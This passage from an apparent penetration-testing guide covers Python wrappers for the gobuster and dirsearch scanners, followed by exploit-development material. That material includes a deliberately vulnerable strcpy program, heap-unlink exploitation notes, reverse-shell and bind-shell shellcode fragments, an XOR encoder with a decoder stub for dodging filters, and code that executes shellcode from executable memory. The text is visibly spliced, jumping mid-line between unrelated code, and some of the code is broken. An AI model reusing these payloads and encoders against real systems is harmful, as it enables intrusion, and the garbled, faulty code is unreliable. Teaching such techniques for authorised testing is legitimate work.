\n        result = subprocess.run(cmd, capture_output=True, text=True)\n        \n        # Parse results\n        found_dirs = []\n        for line in result.stdout.split('\\n'):\n            if line.strip() and 'Status:' in line:\n                parts = line.split()\n                if len(parts) &gt;= 4:\n                    status = parts[-2]\n                    url = parts[-1]\n                    found_dirs.append({\n                        'url': url,\n                        'status': status\n                    })\n                    \n        self.results['directories'] = found_dirs\n        return found_dirs\n    \n    def dns_scan(self, domain, wordlist='/usr/share/wordlists/dns/subdomains.txt', threads=50):\n        \"\"\"Perform DNS subdomain enumeration\"\"\"\n        \n        cmd = [\n            'gobuster', 'dns',\n            '-d', domain,\n            '-w', wordlist,\n            '-t', str(threads),\n            '-o', f'gobuster_dns_{int(threading.get_ident())}.txt'\n        ]\n        \n        print(f\"[*] Starting DNS scan on {domain}\")\n        \n        result = subprocess.run(cmd, capture_output=True, text=True)\n        \n        # Parse results\n        subdomains = []\n        for line in result.stdout.split('\\n'):\n            if 'Found:' in line:\n                parts = line.split()\n                if len(parts) &gt;= 2:\n                    subdomain = parts[1]\n                    subdomains.append(subdomain)\n                    \n        self.results['subdomains'] = subdomains\n        return subdomains\n    \n    def vhost_scan(self, domain, wordlist='/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt',\n                   threads=50):\n        \"\"\"Perform virtual host enumeration\"\"\"\n        \n        cmd = [\n            'gobuster', 'vhost',\n            '-u', self.target_url,\n            '-w', wordlist,\n            '-t', str(threads),\n            '-o', f'gobuster_vhost_{int(threading.get_ident())}.txt'\n        ]\n        \n        print(f\"[*] Starting vhost scan on {self.target_url}\")\n        \n        result = subprocess.run(cmd, capture_output=True, text=True)\n        \n        # Parse results\n        vhosts = []\n        for line in result.stdout.split('\\n'):\n            if 'Found:' in line:\n                parts = line.split()\n                if len(parts) &gt;= 2:\n                    vhost = parts[1]\n                    vhosts.append(vhost)\n                    \n        self.results['vhosts'] = vhosts\n        return vhosts\n    \n    def s3_scan(self, wordlist='/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt',\n                threads=50):\n        \"\"\"Scan for S3 buckets\"\"\"\n        \n        cmd = [\n            'gobuster', 's3',\n            '-w', wordlist,\n            '-t', str(threads),\n            '-o', f'gobuster_s3_{int(threading.get_ident())}.txt'\n        ]\n        \n        print(\"[*] Starting S3 bucket scan\")\n        \n        result = subprocess.run(cmd, capture_output=True, text=True)\n        \n        # Parse results\n        buckets = []\n        for line in result.stdout.split('\\n'):\n            if 'Found:' in line:\n                parts = line.split()\n                if len(parts) &gt;= 2:\n                    bucket = parts[1]\n                    buckets.append(bucket)\n                    \n        self.results['s3_buckets'] = buckets\n        return buckets\n    \n    def fuzz_scan(self, pattern, wordlist='/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt',\n                  threads=50):\n        \"\"\"Perform fuzzing with custom pattern\"\"\"\n        \n        # Replace FUZZ in URL\n        fuzz_url = self.target_url.replace('FUZZ', '{fuzz}')\n        \n        cmd = [\n            'gobuster', 'fuzz',\n            '-u', fuzz_url,\n            '-w', wordlist,\n            '-t', str(threads),\n            '-o', f'gobuster_fuzz_{int(threading.get_ident())}.txt'\n        ]\n        \n        print(f\"[*] Starting fuzz scan with pattern: {pattern}\")\n        \n        result = subprocess.run(cmd, capture_output=True, text=True)\n        \n        # Parse results\n        findings = []\n        for line in result.stdout.split('\\n'):\n            if 'Result:' in line:\n                findings.append(line)\n                \n        self.results['fuzz'] = findings\n        return findings\n    \n    def multi_threaded_scan(self, scan_types, wordlists=None):\n        \"\"\"Run multiple scan types in parallel\"\"\"\n        \n        if wordlists is None:\n            wordlists = {\n                'dir': '/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt',\n                'dns': '/usr/share/wordlists/dns/subdomains.txt',\n                'vhost': '/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt'\n            }\n            \n        with ThreadPoolExecutor(max_workers=len(scan_types)) as executor:\n            futures = []\n            \n            for scan_type in scan_types:\n                if scan_type == 'dir':\n                    future = executor.submit(\n                        self.dir_scan,\n                        wordlists.get('dir', wordlists['dir'])\n                    )\n                elif scan_type == 'dns':\n                    future = executor.submit(\n                        self.dns_scan,\n                        self.target_url.replace('http://', '').replace('https://', '').split('/')[0],\n                        wordlists.get('dns', wordlists['dns'])\n                    )\n                elif scan_type == 'vhost':\n                    future = executor.submit(\n                        self.vhost_scan,\n                        self.target_url,\n                        wordlists.get('vhost', wordlists['vhost'])\n                    )\n                else:\n                    continue\n                    \n                futures.append((scan_type, future))\n                \n            # Collect results\n            for scan_type, future in futures:\n                try:\n                    result = future.result()\n                    print(f\"[+] {scan_type} scan completed: {len(result)} findings\")\n                except Exception as e:\n                    print(f\"[-] {scan_type} scan failed: {e}\")\n                    \n    def generate_report(self):\n        \"\"\"Generate scan report\"\"\"\n        \n        report = {\n            'target': self.target_url,\n            'findings': self.results,\n            'summary': {}\n        }\n        \n        # Generate summary\n        for scan_type, findings in self.results.items():\n            if isinstance(findings, list):\n                report['summary'][scan_type] = len(findings)\n                \n                # Categorize by status code for directory scans\n                if scan_type == 'directories':\n                    status_counts = {}\n                    for finding in findings:\n                        status = finding.get('status')\n                        if status:\n                            status_counts[status] = status_counts.get(status, 0) + 1\n                    report['summary']['status_codes'] = status_counts\n                    \n        return report\n    \n    def save_results(self, filename):\n        \"\"\"Save results to JSON file\"\"\"\n        \n        report = self.generate_report()\n        with open(filename, 'w') as f:\n            json.dump(report, f, indent=2)\n        print(f\"[+] Results saved to {filename}\")\n\n# Example usage\ngobuster = GobusterAutomation('https://example.com')\n\n# Directory scan with common extensions\nprint(\"[*] Running directory scan...\")\ndirs = gobuster.dir_scan(\n    extensions=['php', 'html', 'txt', 'bak', 'old'],\n    threads=100\n)\n\nfor dir_finding in dirs[:10]:  # Show first 10\n    print(f\"  {dir_finding['status']}: {dir_finding['url']}\")\n\n# DNS scan\ndomain = 'example.com'\nprint(f\"\\n[*] Running DNS scan on {domain}...\")\nsubdomains = gobuster.dns_scan(domain)\n\nfor sub in subdomains[:10]:\n    print(f\"  Found: {sub}\")\n\n# Save results\ngobuster.save_results('gobuster_results.json')\n```\n\n### 14.5 Dirsearch\n\nDirsearch is a mature command-line tool designed to brute force directories and files in web servers.\n\n#### 14.5.1 Dirsearch Configuration and Usage\n\n```python\n#!/usr/bin/env python3\n# dirsearch_automation.py\n\nimport subprocess\nimport json\nimport os\nimport re\n\nclass DirsearchAutomation:\n    def __init__(self, target_url):\n        self.target_url = target_url.rstrip('/')\n        self.results = []\n        \n    def basic_scan(self, wordlist='/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt',\n                   extensions=None, threads=50):\n        \"\"\"Perform basic dirsearch scan\"\"\"\n        \n        cmd = [\n            'dirsearch',\n            '-u', self.target_url,\n            '-w', wordlist,\n            '-t', str(threads),\n            '--format=json',\n            '-o', f'dirsearch_{int(time.time())}.json'\n        ]\n        \n        if extensions:\n            cmd.extend(['-e', ','.join(extensions)])\n            \n        # Add common options\n        cmd.extend(['-r', '-R', '2', '--full-url'])  # Recursive scan\n        \n        print(f\"[*] Starting dirsearch scan on {self.target_url}\")\n        print(f\"    Wordlist: {wordlist}\")\n        if extensions:\n            print(f\"    Extensions: {extensions}\")\n            \n        result = subprocess.run(cmd, capture_output=True, text=True)\n        \n        # Parse JSON output\n        output_file = None\n        for line in result.stdout.split('\\n'):\n            if 'saved to:' in line:\n                output_file = line.split('saved to:')[-1].strip()\n                break\n                \n        if output_file and os.path.exists(output_file):\n            with open(output_file, 'r') as f:\n                data = json.load(f)\n                self.results = data.get('results', [])\n                \n        return self.results\n    \n    def advanced_scan(self, options):\n        \"\"\"Run dirsearch with advanced options\"\"\"\n        \n        cmd = ['dirsearch', '-u', self.target_url]\n        \n        # Map options to command-line arguments\n        option_map = {\n            'wordlist': ['-w', ''],\n            'extensions': ['-e', ''],\n            'threads': ['-t', ''],\n            'timeout': ['--timeout', ''],\n            'delay': ['--delay', ''],\n            'max_retries': ['--max-retries', ''],\n            'recursive': ['-r', None],\n            'recursive_depth': ['-R', ''],\n            'exclude_status': ['-x', ''],\n            'include_status': ['-i', ''],\n            'user_agent': ['--user-agent', ''],\n            'cookie': ['--cookie', ''],\n            'headers': ['--headers', ''],\n            'proxy': ['--proxy', ''],\n            'full_url': ['--full-url', None],\n            'random_agent': ['--random-agent', None]\n        }\n        \n        for opt, value in options.items():\n            if opt in option_map:\n                arg, arg_value = option_map[opt]\n                cmd.append(arg)\n                if arg_value is not None:\n                    cmd.append(str(value))\n                    \n        # Output format\n        cmd.extend(['--format=json', '-o', f'dirsearch_advanced_{int(time.time())}.json'])\n        \n        print(f\"[*] Running advanced dirsearch scan\")\n        print(f\"    Command: {' '.join(cmd)}\")\n        \n        result = subprocess.run(cmd, capture_output=True, text=True)\n        \n        # Parse output file\n        for line in result.stdout.split('\\n'):\n            if 'saved to:' in line:\n                output_file = line.split('saved to:')[-1].strip()\n                if os.path.exists(output_file):\n                    with open(output_file, 'r') as f:\n                        data = json.load(f)\n                        return data.get('results', [])\n                        \n        return []\n    \n    def recursive_scan(self, initial_findings, depth=3):\n        \"\"\"Recursively scan discovered directories\"\"\"\n        \n        all_findings = initial_findings.copy()\n        directories_to_scan = []\n        \n        # Extract directories from initial findings\n        for finding in initial_findings:\n            if finding.get('status') in [200, 301, 302, 403]:\n                url = finding.get('url')\n                if url.endswith('/'):\n                    directories_to_scan.append(url)\n                    \n        # Scan each directory recursively\n        for directory in directories_to_scan[:10]:  # Limit to first 10\n            print(f\"[*] Recursively scanning: {directory}\")\n            \n            scanner = DirsearchAutomation(directory)\n            recursive_findings = scanner.basic_scan(\n                extensions=['php', 'html', 'txt'],\n                threads=30\n            )\n            \n            all_findings.extend(recursive_findings)\n            \n        return all_findings\n    \n    def filter_results(self, status_codes=None, content_length=None, pattern=None):\n        \"\"\"Filter scan results\"\"\"\n        \n        filtered = self.results.copy()\n        \n        if status_codes:\n            filtered = [f for f in filtered if f.get('status') in status_codes]\n            \n        if content_length:\n            filtered = [f for f in filtered if f.get('length', 0) != content_length]\n            \n        if pattern:\n            filtered = [f for f in filtered if re.search(pattern, f.get('url', ''), re.I)]\n            \n        return filtered\n    \n    def get_interesting_results(self):\n        \"\"\"Get potentially interesting findings\"\"\"\n        \n        interesting = []\n        \n        for finding in self.results:\n            url = finding.get('url', '')\n            status = finding.get('status')\n            \n            # Check for admin panels\n            if any(term in url.lower() for term in ['admin', 'login', 'wp-admin', 'dashboard']):\n                interesting.append({\n                    'type': 'Admin Panel',\n                    'url': url,\n                    'status': status\n                })\n                \n            # Check for backup files\n            if any(url.lower().endswith(ext) for ext in ['.bak', '.old', '.backup', '.swp']):\n                interesting.append({\n                    'type': 'Backup File',\n                    'url': url,\n                    'status': status\n                })\n                \n            # Check for configuration files\n            if any(term in url.lower() for term in ['config', '.git', '.env', 'wp-config']):\n                interesting.append({\n                    'type': 'Config File',\n                    'url': url,\n                    'status': status\n                })\n                \n            # Check for upload directories\n            if any(term in url.lower() for term in ['upload', 'uploads', 'files', 'media']):\n                if status == 200:\n                    interesting.append({\n                        'type': 'Upload Directory',\n                        'url': url,\n                        'status': status\n                    })\n                    \n        return interesting\n    \n    def generate_report(self):\n        \"\"\"Generate detailed report\"\"\"\n        \n        report = {\n            'target': self.target_url,\n            'total_findings': len(self.results),\n            'status_breakdown': {},\n            'interesting_findings': self.get_interesting_results(),\n            'all_findings': self.results\n        }\n        \n        # Status code breakdown\n        for finding in self.results:\n            status = finding.get('status')\n            if status:\n                report['status_breakdown'][status] = report['status_breakdown'].get(status, 0) + 1\n                \n        # Group by directory\n        directories = {}\n        for finding in self.results:\n            url = finding.get('url', '')\n            base_dir = '/'.join(url.split('/')[:-1]) + '/'\n            if base_dir not in directories:\n                directories[base_dir] = []\n            directories[base_dir].append(finding)\n            \n        report['directories'] = directories\n        \n        return report\n\n# Example usage\nimport time\n\ndirsearch = DirsearchAutomation('https://example.com')\n\n# Basic scan\nprint(\"[*] Running dirsearch scan...\")\nresults = dirsearch.basic_scan(\n    extensions=['php', 'html', 'txt', 'bak'],\n    threads=50\n)\n\n# Filter interesting results\ninteresting = dirsearch.get_interesting_results()\nprint(f\"\\n[+] Found {len(interesting)} interesting results:\")\nfor item in interesting:\n    print(f\"  {item['type']}: {item['url']} ({item['status']})\")\n\n# Filter by status code\ndir_200 = dirsearch.filter_results(status_codes=[200])\nprint(f\"\\n[+] {len(dir_200)} directories with status 200\")\n\n# Generate report\nreport = dirsearch.generate_report()\nprint(f\"\\n[+] Status breakdown: {report['status_breakdown']}\")\n\n# Save results\nwith open('dirsearch_report.json', 'w') as f:\n    json.dump(report, f, indent=2)\nprint(\"[+] Report saved to dirsearch_report.json\")\n```\n\n#### 14.5.2 Dirsearch vs Gobuster Comparison\n\n```python\n#!/usr/bin/env python3\n# tool_comparison.py\n\nclass WebToolComparator:\n    def __init__(self):\n        self.tools = {\n            'gobuster': {\n                'pros': [\n                    'Very fast (written in Go)',\n                    'Multiple modes (dir, dns, vhost, s3)',\n                    'Low memory footprint',\n                    'Good for large wordlists',\n                    'Active development'\n                ],\n                'cons': [\n                    'Limited filtering options',\n                    'No recursive scanning by default',\n                    'Basic output formats'\n                ],\n                'best_for': ['Large-scale scans', 'Performance-critical tasks', 'DNS enumeration']\n            },\n            'dirsearch': {\n                'pros': [\n                    'Advanced recursive scanning',\n                    'Excellent filtering options',\n                    'Multiple output formats (including JSON)',\n                    'Good for targeted scans',\n                    'Extensive configuration options'\n                ],\n                'cons': [\n                    'Slower than gobuster',\n                    'Higher memory usage',\n                    'Python-based (slower for large wordlists)'\n                ],\n                'best_for': ['Deep recursive scans', 'Detailed reconnaissance', 'CTF challenges']\n            },\n            'ffuf': {\n                'pros': [\n                    'Extremely fast',\n                    'Advanced filtering capabilities',\n                    'Flexible wordlist handling',\n                    'Great for fuzzing'\n                ],\n                'cons': [\n                    'Steeper learning curve',\n                    'Less user-friendly',\n                    'Limited built-in wordlists'\n                ],\n                'best_for': ['Fuzzing', 'Parameter discovery', 'Performance testing']\n            }\n        }\n        \n    def recommend_tool(self, requirements):\n        \"\"\"Recommend best tool based on requirements\"\"\"\n        \n        scores = {tool: 0 for tool in self.tools}\n        \n        if requirements.get('speed', False):\n            scores['gobuster'] += 2\n            scores['ffuf'] += 2\n            \n        if requirements.get('recursive', False):\n            scores['dirsearch'] += 2\n            \n        if requirements.get('dns_enum', False):\n            scores['gobuster'] += 3\n            \n        if requirements.get('fuzzing', False):\n            scores['ffuf'] += 3\n            \n        if requirements.get('deep_scan', False):\n            scores['dirsearch'] += 2\n            scores['ffuf'] += 1\n            \n        if requirements.get('large_wordlist', False):\n            scores['gobuster'] += 2\n            scores['ffuf'] += 2\n            \n        if requirements.get('easy_use', False):\n            scores['gobuster'] += 1\n            scores['dirsearch'] += 1\n            \n        # Get tool with highest score\n        recommended = max(scores, key=scores.get)\n        \n        return {\n            'recommended': recommended,\n            'scores': scores,\n            'details': self.tools[recommended]\n        }\n    \n    def generate_cheatsheet(self):\n        \"\"\"Generate usage cheatsheet for each tool\"\"\"\n        \n        cheatsheet = {\n            'gobuster': {\n                'dir_scan': 'gobuster dir -u https://example.com -w wordlist.txt -t 50',\n                'dir_with_ext': 'gobuster dir -u https://example.com -w wordlist.txt -x php,html,txt',\n                'dns_scan': 'gobuster dns -d example.com -w subdomains.txt',\n                'vhost_scan': 'gobuster vhost -u https://example.com -w wordlist.txt',\n                's3_scan': 'gobuster s3 -w wordlist.txt'\n            },\n            'dirsearch': {\n                'basic': 'dirsearch -u https://example.com -w wordlist.txt',\n                'with_ext': 'dirsearch -u https://example.com -e php,html,txt',\n                'recursive': 'dirsearch -u https://example.com -r -R 3',\n                'filter': 'dirsearch -u https://example.com -x 403,404',\n                'threads': 'dirsearch -u https://example.com -t 100'\n            },\n            'ffuf': {\n                'basic': 'ffuf -u https://example.com/FUZZ -w wordlist.txt',\n                'with_ext': 'ffuf -u https://example.com/FUZZ -w wordlist.txt -e .php,.html',\n                'filter_size': 'ffuf -u https://example.com/FUZZ -w wordlist.txt -fs 1234',\n                'vhost': 'ffuf -u https://example.com -H \"Host: FUZZ.example.com\" -w wordlist.txt',\n                'parameters': 'ffuf -u https://example.com/page?FUZZ=test -w parameters.txt'\n            }\n        }\n        \n        return cheatsheet\n\n# Example usage\ncomparator = WebToolComparator()\n\n# Test scenarios\nscenarios = [\n    {'name': 'Large-scale directory scan', 'requirements': {'speed': True, 'large_wordlist': True}},\n    {'name': 'Deep recursive scan', 'requirements': {'recursive': True, 'deep_scan': True}},\n    {'name': 'Parameter fuzzing', 'requirements': {'fuzzing': True, 'speed': True}},\n    {'name': 'DNS subdomain enumeration', 'requirements': {'dns_enum': True}},\n    {'name': 'CTF challenge', 'requirements': {'deep_scan': True, 'easy_use': True}}\n]\n\nfor scenario in scenarios:\n    print(f\"\\n[*] Scenario: {scenario['name']}\")\n    recommendation = comparator.recommend_tool(scenario['requirements'])\n    print(f\"  Recommended: {recommendation['recommended']}\")\n    print(f\"  Why: {recommendation['details']['best_for'][0]}\")\n\n# Generate cheatsheet\nprint(\"\\n\" + \"=\"*60)\nprint(\"TOOL CHEATSHEET\")\nprint(\"=\"*60)\n\ncheatsheet = comparator.generate_cheatsheet()\nfor tool, commands in cheatsheet.items():\n    print(f\"\\n[{tool.upper()}]\")\n    for cmd_type, cmd in commands.items():\n        print(f\"  {cmd_type}: {cmd}\")\n```\n\n---\n\n# PART VI \u2014 EXPLOITATION\n\n## Chapter 15 \u2014 Exploit Development Basics\n\nExploit development is the art of transforming vulnerabilities into working exploits. This chapter covers the fundamental concepts required to understand, develop, and modify exploits for security testing purposes.\n\n### 15.1 Buffer Overflows\n\nBuffer overflow vulnerabilities occur when a program writes more data to a buffer than it can hold, potentially allowing an attacker to control program execution.\n\n#### 15.1.1 Memory Layout and Stack Operations\n\nUnderstanding memory organization is crucial for exploit development:\n\n```python\n#!/usr/bin/env python3\n# memory_layout.py\n\nclass MemoryLayout:\n    def __init__(self):\n        self.memory_regions = {\n            'text': {\n                'description': 'Code segment - contains executable instructions',\n                'permissions': 'Read-Only, Execute',\n                'location': 'Lowest addresses',\n                'contents': 'Program code'\n            },\n            'data': {\n                'description': 'Initialized global and static variables',\n                'permissions': 'Read-Write',\n                'location': 'Above text segment',\n                'contents': 'Global variables with initial values'\n            },\n            'bss': {\n                'description': 'Uninitialized global and static variables',\n                'permissions': 'Read-Write',\n                'location': 'Above data segment',\n                'contents': 'Global variables initialized to zero'\n            },\n            'heap': {\n                'description': 'Dynamic memory allocation',\n                'permissions': 'Read-Write',\n                'location': 'Grows upward',\n                'contents': 'malloc(), new(), etc.'\n            },\n            'stack': {\n                'description': 'Function call information, local variables',\n                'permissions': 'Read-Write',\n                'location': 'Grows downward',\n                'contents': 'Function parameters, return addresses, local variables'\n            }\n        }\n        \n    def show_stack_frame(self, function_name, local_vars, params):\n        \"\"\"Illustrate stack frame layout\"\"\"\n        \n        print(f\"\\n[+] Stack Frame for {function_name}()\")\n        print(\"    Higher Addresses\")\n        print(\"    +-----------------+\")\n        print(\"    | Function Params | &lt;- Previous stack\")\n        for param in params:\n            print(f\"    |   {param}         |\")\n        print(\"    +-----------------+\")\n        print(\"    | Return Address  | &lt;- Where to return after function\")\n        print(\"    +-----------------+\")\n        print(\"    | Saved EBP       | &lt;- Previous frame pointer\")\n        print(\"    +-----------------+\")\n        print(\"    | Local Variables |\")\n        for var in local_vars:\n            print(f\"    |   {var}          |\")\n        print(\"    +-----------------+\")\n        print(\"    |   ...           |\")\n        print(\"    |   Buffer        | &lt;- Overflow point\")\n        print(\"    +-----------------+\")\n        print(\"    Lower Addresses\")\n\n# Example usage\nmemory = MemoryLayout()\nmemory.show_stack_frame('vulnerable_function', \n                        ['buffer[64]', 'counter'], \n                        ['arg1', 'arg2'])\n```\n\n**x86 Assembly Fundamentals**:\n\n```python\n#!/usr/bin/env python3\n# x86_assembly.py\n\nclass x86Assembly:\n    def __init__(self):\n        self.registers = {\n            'EAX': 'Accumulator - used for arithmetic, function returns',\n            'EBX': 'Base - base pointer for memory operations',\n            'ECX': 'Counter - loop counter',\n            'EDX': 'Data - I/O, arithmetic',\n            'ESI': 'Source Index - source for string operations',\n            'EDI': 'Destination Index - destination for string operations',\n            'ESP': 'Stack Pointer - points to top of stack',\n            'EBP': 'Base Pointer - points to base of current stack frame',\n            'EIP': 'Instruction Pointer - points to next instruction'\n        }\n        \n        self.instructions = {\n            'mov': 'mov dest, src - copy src to dest',\n            'push': 'push value - push value onto stack',\n            'pop': 'pop dest - pop value from stack into dest',\n            'call': 'call address - call function, push return address',\n            'ret': 'return from function, pop return address',\n            'jmp': 'jmp address - unconditional jump',\n            'je/jne': 'conditional jumps based on flags',\n            'cmp': 'cmp a,b - compare a and b, set flags',\n            'add/sub': 'arithmetic operations',\n            'lea': 'lea dest, src - load effective address',\n            'nop': 'no operation (often used for padding)'\n        }\n        \n    def demonstrate_function_prologue(self):\n        \"\"\"Show function prologue and epilogue\"\"\"\n        \n        print(\"[+] Function Prologue (function entry):\")\n        print(\"    push ebp           ; Save old base pointer\")\n        print(\"    mov ebp, esp       ; Set new base pointer\")\n        print(\"    sub esp, X         ; Allocate space for local variables\")\n        \n        print(\"\\n[+] Function Body:\")\n        print(\"    ...                ; Actual function code\")\n        \n        print(\"\\n[+] Function Epilogue (function exit):\")\n        print(\"    mov esp, ebp       ; Restore stack pointer\")\n        print(\"    pop ebp            ; Restore base pointer\")\n        print(\"    ret                ; Return to caller\")\n        \n    def demonstrate_stack_operations(self):\n        \"\"\"Show how stack operations work\"\"\"\n        \n        print(\"[+] Stack Operations Example:\")\n        print(\"\\n    Initial stack:\")\n        print(\"    ESP -&gt; [ ... ]\")\n        \n        print(\"\\n    push eax (value 0x1234):\")\n        print(\"    ESP -&gt; [0x1234]\")\n        print(\"           [ ... ]\")\n        \n        print(\"\\n    push ebx (value 0x5678):\")\n        print(\"    ESP -&gt; [0x5678]\")\n        print(\"           [0x1234]\")\n        print(\"           [ ... ]\")\n        \n        print(\"\\n    pop ecx:\")\n        print(\"    ECX = 0x5678\")\n        print(\"    ESP -&gt; [0x1234]\")\n        print(\"           [ ... ]\")\n\n# Example usage\nasm = x86Assembly()\nasm.demonstrate_function_prologue()\nasm.demonstrate_stack_operations()\n```\n\n#### 15.1.2 Buffer Overflow Vulnerability Analysis\n\n**Vulnerable C Program**:\n\n```c\n// vuln.c - Vulnerable program for buffer overflow demonstration\n#include \n#include \n\nvoid vulnerable_function(char *user_input) {\n    char buffer[64];  // Small buffer\n    strcpy(buffer, user_input);  // No bounds checking!\n    printf(\"Buffer contents: %s\\n\", buffer);\n}\n\nint main(int argc, char *argv[]) {\n    if (argc != 2) {\n        printf(\"Usage: %s \\n\", argv[0]);\n        return 1;\n    }\n    \n    printf(\"Calling vulnerable function...\\n\");\n    vulnerable_function(argv[1]);\n    printf(\"Returned safely\\n\");\n    \n    return 0;\n}\n```\n\n**Python Script for Testing**:\n\n```python\n#!/usr/bin/env python3\n# buffer_overflow_tester.py\n\nimport subprocess\nimport struct\nimport sys\n\nclass BufferOverflowTester:\n    def __init__(self, binary_path):\n        self.binary = binary_path\n        self.crash_logs = []\n        \n    def generate_pattern(self, length):\n        \"\"\"Generate cyclic pattern for offset discovery\"\"\"\n        pattern = \"\"\n        for i in range(0, length, 4):\n            # Generate unique 4-byte pattern\n            pattern += struct.pack(\"fd\")\n        print(\"    BK = P-&gt;bk\")\n        print(\"    FD-&gt;bk = BK\")\n        print(\"    BK-&gt;fd = FD\")\n        print(\"\\n    By controlling FD and BK, we can write arbitrary values\")\n        print(\"    Example: FD = target_address - 12\")\n        print(\"             BK = shellcode_address\")\n        print(\"    Results in: target_address = shellcode_address\")\n        \n    def demonstrate_use_after_free(self):\n        \"\"\"Show use-after-free exploitation\"\"\"\n        \n        print(\"\\n[+] Use-After-Free:\")\n        print(\"    1. Allocate chunk A\")\n        print(\"    2. Free chunk A\")\n        print(\"    3. Allocate chunk B (same size) - gets freed chunk A\")\n        print(\"    4. Program still uses pointer to A, but now points to B's data\")\n        \n    def create_fake_chunk(self, size, fd, bk):\n        \"\"\"Create fake chunk metadata\"\"\"\n        \n        fake_chunk = b''\n        fake_chunk += struct.pack('I', (int(ip_parts[0]) &lt;&lt; 24) | \n                                   (int(ip_parts[1]) &lt;&lt; 16) |\n                                   (int(ip_parts[2]) &lt;&lt; 8) |\n                                   int(ip_parts[3]))\n        \n        port_hex = struct.pack('&gt;H', port)\n        \n        # x86 Linux reverse shell (simplified)\n        shellcode = (\n            b\"\\x31\\xc0\"              # xor eax, eax\n            b\"\\x31\\xdb\"              # xor ebx, ebx\n            b\"\\x31\\xc9\"              # xor ecx, ecx\n            b\"\\x31\\xd2\"              # xor edx, edx\n            b\"\\x66\\xb8\\x67\\x01\"      # mov ax, 0x167 (socketcall)\n            b\"\\xb3\\x01\"              # mov bl, 0x1 (socket)\n            b\"\\xcd\\x80\"              # int 0x80\n            # ... (full reverse shell shellcode is longer)\n        )\n        \n        return shellcode\n    \n    def generate_bind_shell(self, port):\n        \"\"\"Generate bind shell shellcode\"\"\"\n        \n        port_hex = struct.pack('&gt;H', port)\n        \n        # x86 Linux bind shell (simplified)\n        shellcode = (\n            b\"\\x31\\xc0\"              # xor eax, eax\n            b\"\\x31\\xdb\"              # xor ebx, ebx\n            b\"\\x31\\xc9\"              # xor ecx, ecx\n            b\"\\x31\\xd2\"              # xor edx, edx\n            # ... (full bind shell shellcode is longer)\n        )\n        \n        return shellcode\n    \n    def generate_alpha_numeric(self, shellcode):\n        \"\"\"Convert shellcode to alphanumeric (for restricted inputs)\"\"\"\n        \n        # This would use a decoder stub\n        # Simplified example\n        print(\"[*] Alphanumeric shellcode generation is complex\")\n        print(\"    Tools like msfvenom can generate alphanumeric shellcode\")\n        return shellcode\n    \n    def encode_shellcode(self, shellcode, encoder='xor'):\n        \"\"\"Encode shellcode to avoid bad characters\"\"\"\n        \n        if encoder == 'xor':\n            # Simple XOR encoder\n            key = 0xaa\n            encoded = bytes([b ^ key for b in shellcode])\n            \n            # Add decoder stub\n            decoder = (\n                b\"\\xeb\\x0d\"           # jmp short 0x1f\n                b\"\\x5e\"                # pop esi\n                b\"\\x31\\xc9\"            # xor ecx, ecx\n                b\"\\xb1\" + bytes([len(shellcode)])  # mov cl, len\n                b\"\\x80\\x36\" + bytes([key])  # xor byte [esi], key\n                b\"\\x46\"                # inc esi\n                b\"\\xe2\\xfa\"            # loop 0x10\n                b\"\\xeb\\x05\"            # jmp short 0x1a\n                b\"\\xe8\\xee\\xff\\xff\\xff\"  # call 0x8\n            )\n            \n            return decoder + encoded\n            \n        return shellcode\n    \n    def test_shellcode(self, shellcode):\n        \"\"\"Test shellcode in a C wrapper\"\"\"\n        \n        # Create test C program\n        c_code = f'''\n#include \n#include \n\nunsigned char code[] = {repr(shellcode)};\n\nint main() {{\n    void (*func)() = (void(*)())code;\n    printf(\"Shellcode length: %d\\\\n\", strlen(code));\n    printf(\"Executing shellcode...\\\\n\");\n    func();\n    return 0;\n}}\n'''\n        \n        with open('test_shellcode.c', 'w') as f:\n            f.write(c_code)\n            \n        # Compile and run\n        subprocess.run(['gcc', '-fno-stack-protector', '-z', 'execstack', \n                       '-o', 'test_shellcode', 'test_shellcode.c'])\n        \n        print(\"[*] Shellcode compiled to test_shellcode\")\n        print(\"[!] Run './test_shellcode' to test (may be dangerous!)\")\n\n# Example usage\nsc_gen = ShellcodeGenerator()\n\n# Generate execve shellcode\nexecve_sc = sc_gen.generate_linux_execve()\nprint(f\"[+] execve shellcode ({len(execve_sc)} bytes):\")\nprint(''.join(f'\\\\x{b:02x}' for b in execve_sc))\n\n# Encode to avoid bad characters\nencoded = sc_gen.encode_shellcode(execve_sc, 'xor')\nprint(f\"\\n[+] Encoded shellcode ({len(encoded)} bytes)\")\n```\n\n**Shellcode Testing with Python**:\n\n```python\n#!/usr/bin/env python3\n# shellcode_tester.py\n\nimport ctypes\nimport mmap\nimport struct\n\nclass ShellcodeTester:\n    def __init__(self):\n        self.shellcode = None\n        \n    def allocate_executable_memory(self, size):\n        \"\"\"Allocate executable memory for shellcode\"\"\"\n        \n        # Use mmap to allocate executable memory\n        libc = ctypes.CDLL(\"libc.so.6\")\n        \n        MAP_ANONYMOUS = 0x20\n        MAP_PRIVATE = 0x02\n        PROT_READ = 0x1\n        PROT_WRITE = 0x2\n        PROT_EXEC = 0x4\n        \n        addr = libc.mmap(\n            0, size,\n            PROT_READ | PROT_WRITE | PROT_EXEC,\n            MAP_PRIVATE | MAP_ANONYMOUS,\n            -1, 0\n        )\n        \n        return addr\n    \n    def test_shellcode(self, shellcode):\n        \"\"\"Test shellcode in isolated environment\"\"\"\n        \n        # Allocate memory\n        mem = self.allocate_executable_memory(len(shellcode))\n        \n        # Copy shellcode\n        ctypes.memmove(mem, shellcode, len(shellcode))\n        \n        # Cast to function and call\n        func = ctypes.CFUNCTYPE(None)(mem)\n        \n        print(\"[*] About to execute shellcode...\")\n        print(\"[!] This may be dangerous! Press Ctrl+C to abort\")\n        \n        try:\n            func()  # Execute shellcode\n            print(\"[+] Shellcode executed\")\n        except Exception as e:\n            print(f\"[-] Error executing shellcode: {e}\")\n        except KeyboardInterrupt:\n            print(\"\\n[!] Aborted by user\")\n            \n    def find_bad_chars(self, shellcode):\n        \"\"\"Identify bad characters in shellcode\"\"\"\n        \n        bad_chars = [0x00, 0x0a, 0x0d]  # Common bad chars: null, newline, carriage return\n        \n        bad_found = []\n        for bad in bad_chars:\n            if bad in shellcode:\n                bad_found.append(hex(bad))\n                \n        if bad_found:\n            print(f\"[!] Bad characters found: {', '.join(bad_found)}\")\n        else:\n            print(\"[+] No common bad characters 